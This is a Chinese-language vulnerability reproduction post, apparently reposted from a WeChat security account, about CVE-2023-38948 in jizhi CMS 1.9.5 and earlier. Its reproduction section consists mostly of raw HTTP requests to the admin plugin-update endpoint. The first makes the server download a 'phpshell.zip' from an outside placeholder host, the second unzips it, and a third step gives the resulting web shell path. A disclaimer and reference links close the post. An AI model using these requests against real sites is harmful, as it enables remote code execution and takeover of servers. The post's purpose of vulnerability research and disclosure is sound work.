简介
极致CMS是一款开源免费,无商业授权的建站系统。
漏洞描述
jizhi CMS 1.9.5 的 /c/PluginsController.php 组件中存在任意文件下载漏洞,允许攻击者通过下载精心设计的插件来执行任意代码。
影响版本
jizhi CMS ≤ 1.9.5
漏洞复现
-
远程下载恶意的插件包(首先构建好php文件并打包成zip)
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 127.0.0.1
Content-Length: 86
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1
Referer: http://127.0.0.1/admin.php/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=32db2410f5d69bf21ba9b21ab8093a09
Connection: close
action=start-download&filepath=jzdesign&download_url=http://xxx.xxx.xxx/phpshell.zip
2.解压恶意插件包,filepath必须与步骤1相对应
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 127.0.0.1
Content-Length: 32
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1
Referer: http://127.0.0.1/admin.php/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=32db2410f5d69bf21ba9b21ab8093a09
Connection: close
action=file-upzip&filepath=jzdesign
3.shell地址:http://xxx.xxx.xxx/A/exts/phpshell.php
参考链接
https://nvd.nist.gov/vuln/detail/CVE-2023-38948
https://gitee.com/CTF-hacker/pwn/issues/I7LI4E
https://www.jizhicms.cn/
仅供学习交流,勿用作违法犯罪!!!
原文始发于微信公众号(不够安全):CVE-2023-38948:极致CMS后台远程文件下载RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论